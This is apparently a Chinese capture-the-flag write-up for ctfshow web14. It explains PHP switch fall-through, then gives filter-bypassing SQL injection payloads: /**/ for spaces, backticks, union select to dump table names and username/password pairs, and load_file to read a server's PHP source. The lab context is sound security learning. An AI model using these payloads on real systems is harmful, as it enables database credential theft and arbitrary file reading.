ctfshow web14
打开
<?php include("secret.php"); if(isset($_GET['c'])){ $c = intval($_GET['c']); sleep($c); switch ($c) { case 1: echo '$url'; break; case 2: echo '@A@'; break; case 555555: echo $url; case 44444: echo "@A@"; break; case 3333: echo $url; break; case 222: echo '@A@'; break; case 222: echo '@A@'; break; case 3333: echo $url; break; case 44444: echo '@A@'; case 555555: echo $url; break; case 3: echo '@A@'; case 6000000: echo "$url"; case 1: echo '@A@'; break; } } highlight_file(__FILE__);
我们想要把url输出 需要知道对于switch 语句遇不到break是不会退出的 会继续执行下一个case语句 还需要知道在php中 单引号不支持变量解析 双引号才支持
比如
<?php $a=123; echo"$a";//输出123 echo'$a';//输出$a ?>
所以为了不让sleep太长的时间 我们直接传入c=3 访问给出的页面 看似是sql注入 发现过滤掉一些字符 空格用/**/进行代替
传入 ?query=1/**/order/**/by/**/1# 当order by 2 是开始出现不正常回显 判断出回显位数为1 看了师傅的wp 用反引号进行绕过
?query=-1/**/union/**/select/**/database()#
?query=-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema=database()#
?query=-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name='content'#
?query=-1/**/union/**/select/**/group_concat(username,'~',password)/**/from/**/content#
结果如下 秘密里有个秘密 emmm 本地load_file读取一下这个文件 linux服务器默认网站路径为/var/www/html/
-1/**/union/**/select/**/load_file('/var/www/html/secret.php')
crtl+u看到如下代码
<?php $url = 'here_1s_your_f1ag.php'; $file = '/tmp/gtf1y'; if(trim(@file_get_contents($file)) === 'ctf.show'){ echo file_get_contents('/real_flag_is_here'); }'
绕过条件限制直接读得到flag